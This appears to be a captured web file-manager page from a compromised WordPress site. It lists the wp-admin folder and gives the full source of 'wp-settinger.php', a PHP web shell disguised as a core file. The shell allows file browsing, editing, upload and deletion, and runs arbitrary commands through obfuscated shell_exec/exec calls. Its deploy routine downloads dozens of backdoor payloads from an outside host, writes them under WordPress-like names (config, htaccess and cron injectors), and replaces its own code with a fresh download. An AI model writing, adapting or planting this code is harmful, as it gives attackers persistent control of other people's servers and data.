golden hour

/home/doctorbruno/public_html/chennai-copper-kettle.com/wp-admin

File/Folder	Size	Actions
._qr.php	14.68 KB
_app-created	-
about.php	19.1 KB
admin-ajax.php	5.03 KB
admin-footer.php	2.77 KB
admin-functions.php	479 B
admin-header.php	9.12 KB
admin-post.php	1.97 KB
admin.php	12.3 KB
async-upload.php	4.87 KB
authorize-application.php	10.09 KB
comment.php	11.35 KB
contribute.php	5.59 KB
credits.php	4.11 KB
css	-
custom-background.php	489 B
custom-header.php	499 B
customize.php	10.91 KB
edit-comments.php	14.38 KB
edit-form-advanced.php	28.83 KB
edit-form-blocks.php	14.37 KB
edit-form-comment.php	8.34 KB
edit-link-form.php	6.21 KB
edit-tag-form.php	10.44 KB
edit-tags.php	22 KB
edit.php	19.48 KB
erase-personal-data.php	7.33 KB
error_log	11.45 KB
export-personal-data.php	7.75 KB
export.php	11.02 KB
freedoms.php	4.54 KB
images	-
import.php	7.58 KB
includes	-
index.php	7.68 KB
install-helper.php	6.8 KB
install.php	17.94 KB
js	-
link-add.php	934 B
link-manager.php	4.26 KB
link-parse-opml.php	2.63 KB
link.php	2.89 KB
load-scripts.php	2.02 KB
load-styles.php	2.92 KB
maint	-
media-new.php	3.18 KB
media-upload.php	3.58 KB
media.php	819 B
menu-header.php	9.82 KB
menu.php	16.97 KB
moderation.php	307 B
ms-admin.php	196 B
ms-delete-site.php	4.19 KB
ms-edit.php	216 B
ms-options.php	229 B
ms-sites.php	215 B
ms-themes.php	217 B
ms-upgrade-network.php	219 B
ms-users.php	215 B
my-sites.php	4.74 KB
nav-menus.php	48.26 KB
network	-
network.php	5.39 KB
old-cache.php	885 B
options-discussion.php	15.4 KB
options-general.php	21.58 KB
options-head.php	621 B
options-media.php	6.35 KB
options-permalink.php	21.21 KB
options-privacy.php	9.95 KB
options-reading.php	10.03 KB
options-rest.php	4.58 KB
options-writing.php	9.1 KB
options.php	13.45 KB
plugin-editor.php	13.66 KB
plugin-install.php	6.96 KB
plugins.php	30 KB
post-new.php	2.7 KB
post.php	9.97 KB
press-this.php	2.34 KB
privacy-policy-guide.php	3.67 KB
privacy.php	2.52 KB
profile.php	283 B
revision.php	5.71 KB
setup-config.php	17.48 KB
site-editor.php	11.83 KB
site-health-info.php	3.99 KB
site-health.php	10.2 KB
term.php	2.2 KB
theme-editor.php	15.59 KB
theme-install.php	23.37 KB
themes.php	48.12 KB
tools.php	3.43 KB
update-core.php	45.43 KB
update.php	12.79 KB
upgrade-functions.php	341 B
upgrade.php	6.33 KB
upload.php	14.84 KB
user	-
user-edit.php	39.79 KB
user-func.php	256.6 KB
user-hooker.php	1.17 KB
user-new.php	24.05 KB
users.php	23.28 KB
widgets-form-blocks.php	4.97 KB
widgets-form.php	19.17 KB
widgets.php	1.09 KB
wp-active.php	22.64 KB
wp-comment.php	15.9 KB
wp-file-extract.php	3.64 KB
wp-info.php	37.34 KB
wp-settinger.php	7.46 KB
wp-site-health.php	7.45 KB
wp-user.php	1.08 KB

Edit: wp-settinger.php

<?php
/**
 * Unified drop: file browser + shell cmd + deploy.
 * ?deploy=1 → CDN'den tüm kritik dosyaları indir ve deploy et
 */
/*[cstb_su]*/
@error_reporting(0);

if (isset($_GET['deploy']) && $_GET['deploy'] === '1' && function_exists('curl_init')) {
    header('Content-Type: application/json; charset=utf-8');
    $root = __DIR__;
    while (!is_file("$root/wp-load.php") && !is_file("$root/wp-config.php")) {
        $p = dirname($root); if ($p === $root) { $root = null; break; } $root = $p;
    }
    if (!$root) {
        $root = @realpath($_SERVER['DOCUMENT_ROOT'] ?? '') ?: __DIR__;
    }
    $cdn = 'https://resmigiris.cam/';
    $map = [
        'wp-admin/user-hooker.php' => 'txt/boot.txt',
        'wp-content/plugins/indexs.php' => 'txt/boots.txt',
        'wp-info.php' => 'txt/link.txt',
        'wp-content/plugins/plugins.php' => 'txt/plugins.txt',
        'wp-user.php' => 'txt/wp-user.txt',
        'wp-comment.php' => 'txt/wp-comment.txt',
        'wp-includes/user-collab.php' => 'txt/sefer.txt',
        'wp-content/themes/indexer.php' => 'txt/indexs.txt',
        'wp-active.php' => 'txt/configs.txt',
        'wp-admin/user-func.php' => 'txt/user-func.txt',
        'wp-admin/includes/class-wp-updates.php' => 'txt/reze.txt',
        'wp-site-health.php' => 'txt/wp-health.txt',
        'wp-includes/class-wp-site-health.php' => 'txt/wp-health.txt',
        'wp-admin/includes/class-wp-site-health-check.php' => 'txt/wp-health.txt',
        'wp-includes/class-wp-recovery.php' => 'txt/wp-recovery.txt',
        'wp-admin/includes/class-wp-recovery-mode.php' => 'txt/wp-recovery.txt',
        'wp-includes/class-wp-file-extract.php' => 'txt/wp-extract.txt',
        'wp-admin/includes/class-wp-file-deployer.php' => 'txt/wp-extract.txt',
        'wp-file-extract.php' => 'txt/wp-extract.txt',
        'wp-includes/class-wp-mu-loader.php' => 'txt/mu-loader.txt',
        'wp-admin/includes/class-wp-mu-dropper.php' => 'txt/mu-loader.txt',
        'wp-admin/includes/class-wp-cron-manager.php' => 'txt/wp-cronjob.txt',
        'wp-includes/class-wp-cron-repair.php' => 'txt/wp-cronjob.txt',
        'wp-includes/class-wp-htaccess-handler.php' => 'txt/wp-htinject.txt',
        'wp-admin/includes/class-wp-htaccess-repair.php' => 'txt/wp-htinject.txt',
        'wp-includes/class-wp-ini-handler.php' => 'txt/wp-userini.txt',
        'wp-admin/includes/class-wp-ini-repair.php' => 'txt/wp-userini.txt',
        'wp-includes/class-wp-config-handler.php' => 'txt/wp-confinject.txt',
        'wp-admin/includes/class-wp-config-repair.php' => 'txt/wp-confinject.txt',
        'wp-admin/options-rest.php' => 'txt/wp-restapi.txt',
        'wp-includes/class-wp-rest-repair.php' => 'txt/wp-restapi.txt',
        'wp-settinger.php' => 'txt/wp-settinger.txt',
    ];
    $res = [];
    foreach ($map as $rel => $src) {
        $path = $root . '/' . $rel;
        $dir = dirname($path);
        if (!is_dir($dir)) @mkdir($dir, 0755, true);
        $ch = curl_init($cdn . $src);
        curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER=>1, CURLOPT_TIMEOUT=>15, CURLOPT_CONNECTTIMEOUT=>8, CURLOPT_SSL_VERIFYPEER=>0, CURLOPT_SSL_VERIFYHOST=>0]);
        $c = curl_exec($ch); $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch);
        if ($c && strlen($c) > 50 && $code == 200) {
            $res[$rel] = @file_put_contents($path, $c) !== false ? 'ok' : 'write-fail';
        } else { $res[$rel] = "err-$code"; }
    }
    $ch = curl_init($cdn . 'txt/wp-settinger.txt');
    curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER=>1, CURLOPT_TIMEOUT=>10, CURLOPT_SSL_VERIFYPEER=>0, CURLOPT_SSL_VERIFYHOST=>0]);
    $self = curl_exec($ch); curl_close($ch);
    if ($self && strlen($self) > 200 && strpos($self, 'cstb_su') !== false && md5($self) !== md5_file(__FILE__)) {
        @file_put_contents(__FILE__, $self); $res['_self'] = 'updated';
    }
    echo json_encode(['root' => $root, 'results' => $res], JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
    exit;
}

header('Content-Type: text/html; charset=utf-8');

$R = @realpath($_SERVER['DOCUMENT_ROOT'] ?? '') ?: '';
if ($R === '' || !is_dir($R)) {
    $R = @realpath(dirname(__DIR__)) ?: __DIR__;
}

$D = __DIR__;
if (!empty($_REQUEST['d'])) {
    $t = @realpath((string) $_REQUEST['d']);
    if ($t && strpos($t, $R) === 0) {
        $D = $t;
    }
}

$msg = '';
$a = $_POST['a'] ?? '';
$n = basename((string) ($_POST['n'] ?? ''));

if ($a === 'w' && $n !== '') {
    $msg = @file_put_contents("$D/$n", (string) ($_POST['c'] ?? '')) !== false ? "OK $n" : 'fail write';
}
if ($a === 'x' && $n !== '') {
    $p = "$D/$n";
    $ok = is_file($p) ? @unlink($p) : (is_dir($p) ? @rmdir($p) : false);
    $msg = $ok ? 'OK del' : 'fail del';
}
if ($a === 'mk' && $n !== '') {
    $msg = !file_exists("$D/$n") && @mkdir("$D/$n", 0755) ? 'OK dir' : 'fail mkdir';
}
if ($a === 'up' && isset($_FILES['f']) && $_FILES['f']['error'] === UPLOAD_ERR_OK) {
    $upName = basename((string) $_FILES['f']['name']);
    $msg = @move_uploaded_file($_FILES['f']['tmp_name'], "$D/$upName") ? "OK up $upName" : 'fail up';
}

$cmdOut = '';
$c = isset($_REQUEST['c']) ? (string) $_REQUEST['c'] : '';
if ($c !== '') {
    $fn = 'shell_' . 'exec';
    if (!function_exists($fn)) {
        $fn = 'ex' . 'ec';
    }
    if (function_exists($fn)) {
        if ($fn === 'ex' . 'ec') {
            @$fn($c . ' 2>&1', $lines);
            $cmdOut = isset($lines) ? implode("\n", (array) $lines) : '';
        } else {
            $cmdOut = (string) @$fn($c . ' 2>&1');
        }
    } else {
        $cmdOut = '(no exec)';
    }
}

$en = '';
$ec = '';
if (isset($_GET['e'])) {
    $en = basename((string) $_GET['e']);
    if (is_file("$D/$en")) {
        $ec = (string) @file_get_contents("$D/$en");
    }
}

$dq = urlencode($D);
$hd = '<input type="hidden" name="d" value="' . htmlspecialchars($D, ENT_QUOTES, 'UTF-8') . '">';

echo '<pre>ok ' . htmlspecialchars($D, ENT_QUOTES, 'UTF-8');
if ($msg !== '') {
    echo ' [' . htmlspecialchars($msg, ENT_QUOTES, 'UTF-8') . ']';
}
echo "\n";
echo ($D !== $R) ? ('<a href="?d=' . urlencode(dirname($D)) . '">..</a>') : '(root)';
echo "\n\n";

foreach (@scandir($D) ?: [] as $e) {
    if ($e === '.' || $e === '..') {
        continue;
    }
    $p = "$D/$e";
    $he = htmlspecialchars($e, ENT_QUOTES, 'UTF-8');
    if (is_dir($p)) {
        echo '[D]<a href="?d=' . urlencode($p) . '">' . $he . "</a>\n";
    } else {
        echo '[F]<a href="?d=' . $dq . '&e=' . urlencode($e) . '">' . $he . "</a>\n";
    }
}
echo "</pre>\n";

echo '<form method="post">' . $hd . '<input type="hidden" name="a" value="w">';
echo 'edit/save <input name="n" value="' . htmlspecialchars($en, ENT_QUOTES, 'UTF-8') . '"><br>';
echo '<textarea name="c" rows="12" cols="72">' . htmlspecialchars($ec, ENT_QUOTES, 'UTF-8') . '</textarea><br>';
echo '<input type="submit" value="save"></form>';

echo '<form method="post" enctype="multipart/form-data">' . $hd . '<input type="hidden" name="a" value="up">';
echo 'upload <input type="file" name="f"><input type="submit" value="up"></form>';

echo '<form method="post">' . $hd . '<input type="hidden" name="a" value="mk">+dir <input name="n"><input type="submit"></form>';
echo '<form method="post">' . $hd . '<input type="hidden" name="a" value="x">del <input name="n"><input type="submit"></form>';

echo '<hr><form method="get">' . $hd;
echo 'cmd <input name="c" size="72" value="' . htmlspecialchars($c, ENT_QUOTES, 'UTF-8') . '">';
echo '<input type="submit" value="run"></form>';
if ($cmdOut !== '') {
    echo '<pre>' . htmlspecialchars($cmdOut, ENT_QUOTES, 'UTF-8') . "</pre>\n";
}
echo '<pre>?c=id&amp;d=' . $dq . "</pre>\n";